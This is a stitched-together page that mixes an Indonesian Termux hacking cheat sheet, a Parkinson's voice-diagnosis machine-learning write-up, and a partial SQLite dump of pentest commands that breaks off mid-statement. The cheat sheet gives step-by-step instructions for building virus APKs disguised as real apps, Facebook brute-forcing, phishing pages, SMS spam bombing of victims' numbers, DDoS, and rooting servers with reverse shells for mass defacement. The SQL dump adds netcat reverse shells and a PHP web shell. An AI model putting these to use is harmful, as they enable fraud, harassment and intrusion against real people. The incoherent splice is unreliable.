menampilkan ikon dan informasi sistem android $ pkg install neofetch $ neofetch _______________________________________ menampilkan teks dalam format ASCII $ pkg install figlet $ figlet masukin teksnya _______________________________________ $ pip install mps_youtube $ pip install youtube_dl $ apt install mpv $ mpsyt $ /judul lagu Tinggal pilih lagu dgn mengetik nomornya.  Tutorial membuat virus seperti aplikasi aslinya🚨 Tools yang dibutuhkan: APK Editor & tool vbug APK Editor bisa didownload di playstore Tool vbug https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip 1. Download tool vbugnya dulu 2. Taruh file tool vbug di luar folder pada memori internal 3. Buka termux lalu $ cd /sdcard 4. $ unzip vbug.zip 5. $ cd vbug 6. $ python2 vbug.py 7. Enter 8. Ketik 10 9. Ketik E 10. Aplikasi virusnya sudah jadi Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya 1. Buka APK Editor 2. Klik Select an Apk File 3. Pilih aplikasi virus tadi 4. Klik full edit 5. Pada bagian kolom app_name tulis nama aplikasi yang kalian inginkan 6. Lalu klik files 7. Klik res/drawable 8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan Catatan: format logo harus .png 9. Ceklist logo yang kedua lalu replace 10. Pilih file logo yang mau dijadikan logo aplikasi agan 11. Back sampai home Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita 12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang coxok sebagai bobot apliaksi agan 13. Klik build 14. Tunggu hingga selesai 15. Jadi deh auto boot fb git clone https://github.com/Senitopeng/BotFbBangDjon.git cd BotFbBangDjon python2 bangdjon.py melihat id fb https://findmyfbid.in/ git clone https://github.com/tomiashari/fb-autoreaction.git cd fb-autoreaction python2 fb-autoreaction cara membuat virus cd Vbug/vbug.py cd /storage/emulated/0/Vbug cd vbug Python2 vbug.py CRACK PASSWORD HASH git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/ cd FHX-Hash-Killer python2 FHXHashKiller.py git clone https://github.com/UltimateHackers/Hash-Buster $ cd Hash-Buster $ python2 hash.py pkg install irssi irssi (enter) /connect chat.freenode.net /nick oki /join #mrmaze Cara install Metasploit di termux (No Root) ~ apt update && apt upgrade ~ apt install curl ~ curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh ~ chmod +x metasploit.sh ~ ./metasploit.sh ... Tunggu proses instalasi sekitar 30-40 menit tergantung koneksi internet ... ( hack fb via termux ) $apt update $apt upgrade $apt install python2 $apt install python2-dev $apt install wget $dip2 install mechanize $cd/sterage/emulated/0 $python2 fbbrute.py ( yg tdi di download di tunda di luar folder ) $storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder ) =tinggal tunggu fassword nya muncul Jika beruntung *silahkan mencoba* tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools pip install mps_youtube pip install youtube_dl apt install mpv mpsyt /judul $ pkg update && pkg upgrade CHATTING VIA TERMUX $ pkg install irssi $ irssi $ /connect chat.freenode.net $ /nick 1235 12345 di ganti sesuai nama/nick agan $ /join #XCAteam 100% work boom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjhj +6282399188718 Spam bom mall $ pkg install update $ pkg install upgrade $ pkg install wget $ pkg install php $ wget http://files-store.theprivat.ml/uploads/bom-mall.zip $ unzip bom-mall.zip $ cd bom-mall $ php run.php (```Install``` *SpamTsel*) $ pkg install curl $ pkg install php $ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php $ chmod 777 bombtsel.php $ php bombtsel.php 3) Tool Spam LITESPAM $ pkg install php $ pkg install toilet $ pkg install sh $ pkg install git $ git clone https://github.com/4L13199/LITESPAM $ cd LITESPAM $ sh LITESPAM.sh atau bash LITESPAM.sh Masukan Nomer nya... VBugMaker Termux -apt update && apt upgrade -apt install git -apt install python Donwload file ->http://upfile.mobi/YGwg8gQLuvv Pindah ke directory Next -unzip vbug.zip -mv vbug $HOME -cd vbug -ls -chmod +x vbug.py -python2 vbug.py #Done Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnecter Mass Deface. 1. Install~ Buka Termux 2. Install Ngrok Registrasi Autthokennya. (http://ngrok.com/download;http://ngrok.com/signup) $ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip $ unzip ngrok-stable-linux-arm.zip ngrok $ ./ngrok authtoken JWJDKNxxxxxxxxxx $ ./ngrok tcp port :~# Welcome : Plan Free "0.tcp.ngrok.io:port-ngrok ~> localhost:port" 3. Download Perl/PHP Backconnecter (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) dan Edit file nya, cari $ip dan $port ganti dengan (0.tcp.ngrok.io:port-ngrok) ~>Upload ke website (PERL: ON)(PHP: ON) 5. in termux command : $ nc -lnvp port 6. in backdoor shell : $ perl perl-reverse-shell.pl (atau) > http://situs.co.li/perl-reverse-shell.php (Run the script simply by browsing to the newly uploaded file in your web browser) .----(after backconnect successfully)--- 7. upload LOCALROOT $ wget https://domain.com/localroot/dirty $ chmod 777 dirty $ ./dirty New password: ndasmu (successfully rooted) 8. import TTY shell ===>jika menggunakan dirty<=== $ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py $ python /tmp/sad.py ===>jika menggunakan cowroot<=== $ python -c 'import pty;pty.spawn("/usr/bin/passwd")' (https://evertpot.com/189/) .-------------------------------------------- 9. login as ROOT $ su rintoar Password: ndasmu .-------------------------------------------- 10 ./mass (https://m.youtube.com/watch?v=HPQQok40v78) .-------------------------------------------- WEEMAN [✓] apt update && apt upgrade -y apt install git -y apt install python2 -y git clone https://github.com/evait-security/weeman cd weeman chmod 777 weeman.py python2 weeman.py Ex set url http://facebook.com set action_url http://facebook.com run ___________________________________________ Hunner framework apt update apt install python apt install git -y git clone https://github.com/b3-v3r/Hunner cd Hunner chmod 777 hunner.py python hunner.py ___________________________________________ SQLMAP [✓] apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap cd sqlmap Python2 sqlmap.py ______ Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump ___________________________________ DDOS XERXES [✓] clang xerxes.c -o xerxes ./xerxes website 80 ___________________________________ DDOS TORSHAMMER [✓] apt-get update apt-get install python2 apt-get install tor apt-get install git git clone https://github.com/dotfighter/torshammer.git cd torshammer python2 torshammer.py -T -t website ___________________________________ BRUTEFORCE [✓] apt update apt upgrade apt install python apt install pip pip install wordlist apt install worlist Wordlist -h cd /sdcard Cat pas.txt ___________________________________ Localizar ip Apt install python git git clone https://github.com/maldevel/IPGeoLocation.git cd IPGeoLocation chmod +x ipgeoLocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t http://www.google.com ___________________________________ Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py ___________________________________ BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py ___________________________________ HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run ___________________________________________ RED HAWK apt update apt install git git clone https://github.com/Tuhinshubhra/RED_HAWK cd RED_HAWK chmod +x rhawk.php apt install php ls php rhawk.php ___________________________________________ D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com ___________________________________________ viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com __________________ Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py PERKIRAAN cuaca curl http://wttr.in/ (lokasi) tool Routersploit apt install git apt install python2 pip2 install requests git clone https://github.com/reverse-shell/routersploit.git cd routersploit pip install -r requirements.txt termux-fix-shebang rsf.py Cara pake cd routersploit ./ rsf.py use scanners/autopwn show options set target 192.168.1.1 set port 8080 set threads 10 masukkan exploitsnya set target 192.168.1.1 -check -run tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu… $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (```Install``` *Weeman* ) $ apt update && apt upgrade -y $ apt install git -y $ apt install python2 -y $ git clone https://github.com/evait-security/weeman $ cd weeman $ chmod 777 weeman.py $ python2 weeman.py Contoh $ set url http://facebook.com $ set action_url http://facebook.com run (Bisa diganti phising nya, kalau Twitter ya bisa ataupun yg lain) *Ikuti Langkah Demi Langkah* (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py Ikuti Langkah Demi Langkah (```Install``` *SQLMAP*) $ apt update $ apt install python $ apt install python2 $ apt install git $ gi clone https://github.com/sqlmapproject/sqlmap $ cd sqlmap $ Python2 sqlmap.py Exemple:- Python2 sqlmap.py -u website --dbs -D acuart --tables -D acuart -T users --columns -D acuart -T users -C name,email,phone -dump Ikuti Langkah Demi Langkah Lacak ip git clone https://github.com/maldevel/IPGeolocation cd IPGeolocation chmod +x ipgeolocation.py pip install -r requirements.txt python ipgeolocation.py -m python ipgeolocation.py -t IP yang ingin dilacak bbom spam apt upgrade && apt update apt install git git clone https://github.com/Amriez/gcospam cd gcospam sh install.sh sh gco.sh Pilih nomer yang mana ajjh Lalu Masukan nomer tanpa 0/62 Input bebas Jeda default ajjh --------------------------------------------------------------------- *1.Spammer SMS Grab Install Spammernya dulu* $pkg install python2 $pip2 install requests $pkg install git $git clone https://github.com/p4kl0nc4t/Spammer-Grab $cd Spammer-Grab $ls $chmod +x spammer.py $python2 spammer.py --delay 30 nomor korban. --------------------------------------------------------------------------------------- *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py --------------------------------------------------------------------------------------- *2.Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php --------------------------------------------------------------------------------------- 3. Install webdav $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav $ curl -k -O https://pastebin.com/raw/HnVyQPtR $ mv HnVyQPtR webdav.py $ python2 webdav.py --------------------------------------------------------------------------------------- *2. Xerxes* $ apt install git $ apt install clang $ git clone https://github.com/zanyarjamal/xerxes $ ls $ cd xerxes $ ls $ clang xerxes.c -o xerxes $ ls $ ./xerxes (nama website) 80 --------------------------------------------------------------------------------------- *3. Torshammer* $ pkg update $ pkg install git $ Pkg install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py -T -t [8/11 18.11] BOT X3NONOLIMIT: Hack FACEBOOK *apt update && apt upgrade *pkg install python2 && pkg install wget *pip2 install mechanize && pip2 install request *pkg install git *git clone https://github.com/tikuskecil/multi-bruteforce-facebook *cd multi-bruteforce-facebook *ls *python2 MBF.py
koenbuyens
vulnerable OAuth 2.0 applications: understand the security implications of your OAuth 2.0 decisions.
Aastha2104
Introduction Parkinson’s Disease is the second most prevalent neurodegenerative disorder after Alzheimer’s, affecting more than 10 million people worldwide. Parkinson’s is characterized primarily by the deterioration of motor and cognitive ability. There is no single test which can be administered for diagnosis. Instead, doctors must perform a careful clinical analysis of the patient’s medical history. Unfortunately, this method of diagnosis is highly inaccurate. A study from the National Institute of Neurological Disorders finds that early diagnosis (having symptoms for 5 years or less) is only 53% accurate. This is not much better than random guessing, but an early diagnosis is critical to effective treatment. Because of these difficulties, I investigate a machine learning approach to accurately diagnose Parkinson’s, using a dataset of various speech features (a non-invasive yet characteristic tool) from the University of Oxford. Why speech features? Speech is very predictive and characteristic of Parkinson’s disease; almost every Parkinson’s patient experiences severe vocal degradation (inability to produce sustained phonations, tremor, hoarseness), so it makes sense to use voice to diagnose the disease. Voice analysis gives the added benefit of being non-invasive, inexpensive, and very easy to extract clinically. Background Parkinson's Disease Parkinson’s is a progressive neurodegenerative condition resulting from the death of the dopamine containing cells of the substantia nigra (which plays an important role in movement). Symptoms include: “frozen” facial features, bradykinesia (slowness of movement), akinesia (impairment of voluntary movement), tremor, and voice impairment. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. Performance Metrics TP = true positive, FP = false positive, TN = true negative, FN = false negative Accuracy: (TP+TN)/(P+N) Matthews Correlation Coefficient: 1=perfect, 0=random, -1=completely inaccurate Algorithms Employed Logistic Regression (LR): Uses the sigmoid logistic equation with weights (coefficient values) and biases (constants) to model the probability of a certain class for binary classification. An output of 1 represents one class, and an output of 0 represents the other. Training the model will learn the optimal weights and biases. Linear Discriminant Analysis (LDA): Assumes that the data is Gaussian and each feature has the same variance. LDA estimates the mean and variance for each class from the training data, and then uses properties of statistics (Bayes theorem , Gaussian distribution, etc) to compute the probability of a particular instance belonging to a given class. The class with the largest probability is the prediction. k Nearest Neighbors (KNN): Makes predictions about the validation set using the entire training set. KNN makes a prediction about a new instance by searching through the entire set to find the k “closest” instances. “Closeness” is determined using a proximity measurement (Euclidean) across all features. The class that the majority of the k closest instances belong to is the class that the model predicts the new instance to be. Decision Tree (DT): Represented by a binary tree, where each root node represents an input variable and a split point, and each leaf node contains an output used to make a prediction. Neural Network (NN): Models the way the human brain makes decisions. Each neuron takes in 1+ inputs, and then uses an activation function to process the input with weights and biases to produce an output. Neurons can be arranged into layers, and multiple layers can form a network to model complex decisions. Training the network involves using the training instances to optimize the weights and biases. Naive Bayes (NB): Simplifies the calculation of probabilities by assuming that all features are independent of one another (a strong but effective assumption). Employs Bayes Theorem to calculate the probabilities that the instance to be predicted is in each class, then finds the class with the highest probability. Gradient Boost (GB): Generally used when seeking a model with very high predictive performance. Used to reduce bias and variance (“error”) by combining multiple “weak learners” (not very good models) to create a “strong learner” (high performance model). Involves 3 elements: a loss function (error function) to be optimized, a weak learner (decision tree) to make predictions, and an additive model to add trees to minimize the loss function. Gradient descent is used to minimize error after adding each tree (one by one). Engineering Goal Produce a machine learning model to diagnose Parkinson’s disease given various features of a patient’s speech with at least 90% accuracy and/or a Matthews Correlation Coefficient of at least 0.9. Compare various algorithms and parameters to determine the best model for predicting Parkinson’s. Dataset Description Source: the University of Oxford 195 instances (147 subjects with Parkinson’s, 48 without Parkinson’s) 22 features (elements that are possibly characteristic of Parkinson’s, such as frequency, pitch, amplitude / period of the sound wave) 1 label (1 for Parkinson’s, 0 for no Parkinson’s) Project Pipeline pipeline Summary of Procedure Split the Oxford Parkinson’s Dataset into two parts: one for training, one for validation (evaluate how well the model performs) Train each of the following algorithms with the training set: Logistic Regression, Linear Discriminant Analysis, k Nearest Neighbors, Decision Tree, Neural Network, Naive Bayes, Gradient Boost Evaluate results using the validation set Repeat for the following training set to validation set splits: 80% training / 20% validation, 75% / 25%, and 70% / 30% Repeat for a rescaled version of the dataset (scale all the numbers in the dataset to a range from 0 to 1: this helps to reduce the effect of outliers) Conduct 5 trials and average the results Data a_o a_r m_o m_r Data Analysis In general, the models tended to perform the best (both in terms of accuracy and Matthews Correlation Coefficient) on the rescaled dataset with a 75-25 train-test split. The two highest performing algorithms, k Nearest Neighbors and the Neural Network, both achieved an accuracy of 98%. The NN achieved a MCC of 0.96, while KNN achieved a MCC of 0.94. These figures outperform most existing literature and significantly outperform current methods of diagnosis. Conclusion and Significance These robust results suggest that a machine learning approach can indeed be implemented to significantly improve diagnosis methods of Parkinson’s disease. Given the necessity of early diagnosis for effective treatment, my machine learning models provide a very promising alternative to the current, rather ineffective method of diagnosis. Current methods of early diagnosis are only 53% accurate, while my machine learning model produces 98% accuracy. This 45% increase is critical because an accurate, early diagnosis is needed to effectively treat the disease. Typically, by the time the disease is diagnosed, 60% of nigrostriatal neurons have degenerated, and 80% of striatal dopamine have been depleted. With an earlier diagnosis, much of this degradation could have been slowed or treated. My results are very significant because Parkinson’s affects over 10 million people worldwide who could benefit greatly from an early, accurate diagnosis. Not only is my machine learning approach more accurate in terms of diagnostic accuracy, it is also more scalable, less expensive, and therefore more accessible to people who might not have access to established medical facilities and professionals. The diagnosis is also much simpler, requiring only a 10-15 second voice recording and producing an immediate diagnosis. Future Research Given more time and resources, I would investigate the following: Create a mobile application which would allow the user to record his/her voice, extract the necessary vocal features, and feed it into my machine learning model to diagnose Parkinson’s. Use larger datasets in conjunction with the University of Oxford dataset. Tune and improve my models even further to achieve even better results. Investigate different structures and types of neural networks. Construct a novel algorithm specifically suited for the prediction of Parkinson’s. Generalize my findings and algorithms for all types of dementia disorders, such as Alzheimer’s. References Bind, Shubham. "A Survey of Machine Learning Based Approaches for Parkinson Disease Prediction." International Journal of Computer Science and Information Technologies 6 (2015): n. pag. International Journal of Computer Science and Information Technologies. 2015. Web. 8 Mar. 2017. Brooks, Megan. "Diagnosing Parkinson's Disease Still Challenging." Medscape Medical News. National Institute of Neurological Disorders, 31 July 2014. Web. 20 Mar. 2017. Exploiting Nonlinear Recurrence and Fractal Scaling Properties for Voice Disorder Detection', Little MA, McSharry PE, Roberts SJ, Costello DAE, Moroz IM. BioMedical Engineering OnLine 2007, 6:23 (26 June 2007) Hashmi, Sumaiya F. "A Machine Learning Approach to Diagnosis of Parkinson’s Disease."Claremont Colleges Scholarship. Claremont College, 2013. Web. 10 Mar. 2017. Karplus, Abraham. "Machine Learning Algorithms for Cancer Diagnosis." Machine Learning Algorithms for Cancer Diagnosis (n.d.): n. pag. Mar. 2012. Web. 20 Mar. 2017. Little, Max. "Parkinsons Data Set." UCI Machine Learning Repository. University of Oxford, 26 June 2008. Web. 20 Feb. 2017. Ozcift, Akin, and Arif Gulten. "Classifier Ensemble Construction with Rotation Forest to Improve Medical Diagnosis Performance of Machine Learning Algorithms." Computer Methods and Programs in Biomedicine 104.3 (2011): 443-51. Semantic Scholar. 2011. Web. 15 Mar. 2017. "Parkinson’s Disease Dementia." UCI MIND. N.p., 19 Oct. 2015. Web. 17 Feb. 2017. Salvatore, C., A. Cerasa, I. Castiglioni, F. Gallivanone, A. Augimeri, M. Lopez, G. Arabia, M. Morelli, M.c. Gilardi, and A. Quattrone. "Machine Learning on Brain MRI Data for Differential Diagnosis of Parkinson's Disease and Progressive Supranuclear Palsy."Journal of Neuroscience Methods 222 (2014): 230-37. 2014. Web. 18 Mar. 2017. Shahbakhi, Mohammad, Danial Taheri Far, and Ehsan Tahami. "Speech Analysis for Diagnosis of Parkinson’s Disease Using Genetic Algorithm and Support Vector Machine."Journal of Biomedical Science and Engineering 07.04 (2014): 147-56. Scientific Research. July 2014. Web. 2 Mar. 2017. "Speech and Communication." Speech and Communication. Parkinson's Disease Foundation, n.d. Web. 22 Mar. 2017. Sriram, Tarigoppula V. S., M. Venkateswara Rao, G. V. Satya Narayana, and D. S. V. G. K. Kaladhar. "Diagnosis of Parkinson Disease Using Machine Learning and Data Mining Systems from Voice Dataset." SpringerLink. Springer, Cham, 01 Jan. 1970. Web. 17 Mar. 2017.
Don-No7
-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''<hash>''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file <hash file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h <HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\<HOST_IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l <user wordlist> -p 123 <HOST_IP> http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=<output string on failure>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u <user> -p <pass> -H <host IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url <wp site> --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d <domain> -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp <port #>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc <attacker ip> <attacker port>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http://<IP> -w <wordlist> -x <extention> -c PHPSESSID=<cookie val>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r <IP> --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john <HASHES_FILE> --wordlist=<wordlist>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john <Unshadowed passwds>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow <passwd> <shadow>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m <hash type> -a 0 -o <output file> <hash file> <wordlist> --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a <IP>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet //<IP>/<share> -U <username>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh <ATTACKING-IP> 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u "http://meh.com/form/" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u <URL> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb <target(s)> -u <username> -p <password> --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb <target(s)> -u ''<username>'' -p ''<password>'' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec <target(s)> -u ''<uesrname>'' -p ''<password>'' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb <target(s)> -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d </path/to/dictionary> <psk file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan <IP> -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan <IP> -A -P<file out>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w:<wordlist> <password_file> ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep "report for" | cut -d " " -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user <username> <password> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup <group> <username> /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="<charlist>" <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d <file> <key file>', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u "<url of form>" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u "<form URL>?id=1>" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '<? php system ($ _ GET [''cmd'']); ?>', 'execute code via url', '<URL of php>?cmd=<code to execue>'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c "import pty;pty.spawn(''/bin/sh'');"', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES 